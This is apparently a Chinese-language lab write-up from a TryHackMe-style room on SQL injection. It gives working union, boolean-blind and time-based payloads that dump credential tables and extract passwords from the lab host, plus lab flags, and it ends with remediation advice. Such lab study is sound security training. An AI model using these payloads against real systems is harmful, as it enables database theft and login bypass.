web应用程序可以采用多种技术来过滤和清理从用户输入中获取的数据,这些过滤器将限制你使用特定的有效载荷; 但是,我们可以滥用web应用程序背后的逻辑来绕过这些过滤器。

例如,web应用程序可能会去掉我们所使用的payload中的引号,我们此时可以尝试改用引号的十六进制值来替代payload中的引号;虽然最终使用的payload数据格式与预期的不同,但仍然可以得到该payload成功执行的对应结果。

image-20240413195255401.png

Practical: Command Injection (Deploy)

太简单了,不写了。。。

SQL Injection

SQL(结构化查询语言)注入,通常被称为SQLi,是一种对web应用程序数据库服务器的攻击,导致恶意查询被执行。当web应用程序使用未经正确验证的用户输入与数据库通信时,攻击者可能会窃取、删除或更改私人和客户数据,并将web应用程序身份验证方法攻击到私人或客户区域。这就是为什么SQLi是最古老的web应用程序漏洞之一,它也可能是最具破坏性的。

In-Band SQLi

In-Band SQLi

带回显的SQL 注入是最容易检测和利用的类型;带回显仅指用于利用漏洞并接收结果的相同通信方法,例如,在网站页面上发现 SQL 注入漏洞,然后能够将数据从数据库提取到同一页面。

Error-Based SQL Injection

这种类型的 SQL 注入对于轻松获取有关数据库结构的信息最有用,因为来自数据库的错误消息直接打印到浏览器屏幕。这通常可用于枚举整个数据库。

Union-Based SQL Injection

这种类型的注入利用 SQL UNION 运算符和 SELECT 语句将其他结果返回到页面。此方法是通过 SQL 注入漏洞提取大量数据的最常见方法。

In-Band SQLi

https://website.thm/article?id=-1 union select 1,database(),3#

#sqli_one


https://website.thm/article?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='sqli_one'#
#article,staff_users

https://website.thm/article?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='staff_users'#
#id,password,username

https://website.thm/article?id=-1 union select 1,group_concat(id,':',username,':',password),3 from staff_users#
#1:admin:p4ssword,2:martin:pa$$word,3:jim:work123


#THM{SQL_INJECTION_3840}

Blind SQLi

与带回显 SQL 注入不同,我们可以直接在屏幕上看到攻击的结果,盲 SQLi 是指我们几乎没有得到任何反馈来确认注入的查询是否确实成功,这是因为错误消息已被禁用,但注入仍然有效。您可能会感到惊讶,我们只需要一点点反馈即可成功枚举整个数据库。

Authentication Bypass

最直接的 Blind SQL 注入技术之一是绕过身份验证方法(如登录表单)。在这种情况下,我们对从数据库中检索数据不感兴趣;我们只想通过登录。

万能密码

Blind SQLi-Boolean Based

基于布尔值的 SQL 注入是指我们从注入尝试中收到的响应,可以是真/假、是/否、开/关、1/0 或任何只能有两个结果的响应。该结果证实了我们的 SQL 注入有效负载是否成功。在第一次检查时,您可能会觉得这种有限的响应无法提供太多信息。不过,仅通过这两个响应,就可以枚举整个数据库结构和内容。

这个地方没法上脚本,真得需要自己手工盲注,差评。。。。。

这里只好仔细复习一下,手工盲注的过程。

#判断数据库长度
https://website.thm/checkuser?username=admin' and length(database())=10 --+
#经过二分多次查找,发现数据库长度是10

#判断数据库名
https://website.thm/checkuser?username=admin' and substr(database(),1,1)='s' --+

https://website.thm/checkuser?username=admin' and substr(database(),2,1)='q' --+

https://website.thm/checkuser?username=admin' and substr(database(),3,1)='l' --+

....

https://website.thm/checkuser?username=admin' and substr(database(),10,1)='e' --+
#sqli_three

#数据库各个表的长度
https://website.thm/checkuser?username=admin' and length((select table_name from information_schema.tables where table_schema='sqli_three' limit 0,1))=5 --+

#表名
https://website.thm/checkuser?username=admin' and substr((select table_name from information_schema.tables where table_schema='sqli_three' limit 0,1),1,1)='u' --+

https://website.thm/checkuser?username=admin' and substr((select table_name from information_schema.tables where table_schema='sqli_three' limit 0,1),2,1)='s' --+

...

https://website.thm/checkuser?username=admin' and substr((select table_name from information_schema.tables where table_schema='sqli_three' limit 0,1),5,1)='s' --+
#users

#列名
https://website.thm/checkuser?username=admin' and substr((select group_concat(column_name) from information_schema.columns where table_name='users'),1,1)='i' --+

https://website.thm/checkuser?username=admin' and substr((select group_concat(column_name) from information_schema.columns where table_name='users'),2,1)='d' --+

https://website.thm/checkuser?username=admin' and substr((select group_concat(column_name) from information_schema.columns where table_name='users'),3,1)=',' --+

https://website.thm/checkuser?username=admin' and substr((select group_concat(column_name) from information_schema.columns where table_name='users'),4,1)='p' --+

https://website.thm/checkuser?username=admin' and substr((select group_concat(column_name) from information_schema.columns where table_name='users'),5,1)='a' --+

....
#id,password,username

#直接查密码吧 太麻烦了。。。
https://website.thm/checkuser?username=admin' and substr((select group_concat(password) from users where username='admin'),1,1)='3' --+

https://website.thm/checkuser?username=admin' and substr((select group_concat(password) from users where username='admin'),2,1)='8' --+

#3845

Blind SQLi - Time Based

基于布尔值的 SQL 注入是指我们从注入尝试中收到的响应,可以是真/假、是/否、开/关、1/0 或任何只能有两个结果的响应。该结果证实了我们的 SQL 注入有效负载是否成功。在第一次检查时,您可能会觉得这种有限的响应无法提供太多信息。不过,仅通过这两个响应,就可以枚举整个数据库结构和内容。

这里不知道为什么那个ifpoc不行

https://website.thm/analytics?referrer=admin123' UNION SELECT SLEEP(0.3),2 where database() like 'sqli_four%';--

#sqli_four
admin123' UNION SELECT SLEEP(5),2 from users where username like 'admin' and password like '4961';--

Out-of-Band SQLi

带外(Out-of-Band) SQL 注入并不常见,因为它取决于数据库服务器上启用的特定功能或 Web 应用程序的业务逻辑,带外SQL注入攻击能根据 SQL 查询的结果进行某种外部网络调用。

带外SQL注入攻击可分为两种不同的通信渠道,其中一种将用于发起注入攻击,另一种则用于收集攻击结果。 例如,攻击渠道可能是通过 Web 请求,而数据收集渠道可能是通过监控 针对你所控制的服务器而发出的 HTTP/DNS 请求。

  1. 攻击者使用SQL注入payload向存在SQLi漏洞的目标网站发出 Web 请求。
  2. 目标网站对数据库进行 SQL 查询操作,相关的查询语句会加载攻击者所使用的payload。
  3. 攻击者所使用的payload中另外还包含了一个请求,该请求会强制将 包含来自目标服务器数据库的数据的HTTP请求 返回到攻击机上。

Remediation

漏洞修复

由于SQL 注入漏洞的影响力,开发人员可以通过遵循下面的一些建议来保护他们的 Web 应用程序免受侵害。

预编译语句(使用参数化查询):

在预编译查询中,开发人员首先编写的是 SQL 查询语句,然后再将任何用户输入都添加为查询语句中的参数。 编写预编译语句可以确保 SQL 代码结构不发生变化,并且数据库也可以更好地区分查询和数据,使用预编译语句还将让你的代码看起来更简洁且更易于阅读。

对外部输入进行验证:

输入验证处理可以大大保护输入到 SQL 查询语句中的内容。 通过建立允许列表(白名单)可以将输入限制为仅允许某些字符串,或者通过使用编程语言中的字符串替换方法来过滤一些你允许的字符或不允许的字符。

转义用户输入:

允许用户输入包含诸如 ' " $ \ 之类的特殊字符可能会导致 SQL 查询中断,或者更糟糕的是 攻击者可通过输入这些字符以进行SQL注入攻击;转义用户输入的方法是在这些特殊字符前面加上反斜杠 (\) 字符,然后就能将这些字符作为常规字符串处理而不是作为特殊字符进行解析。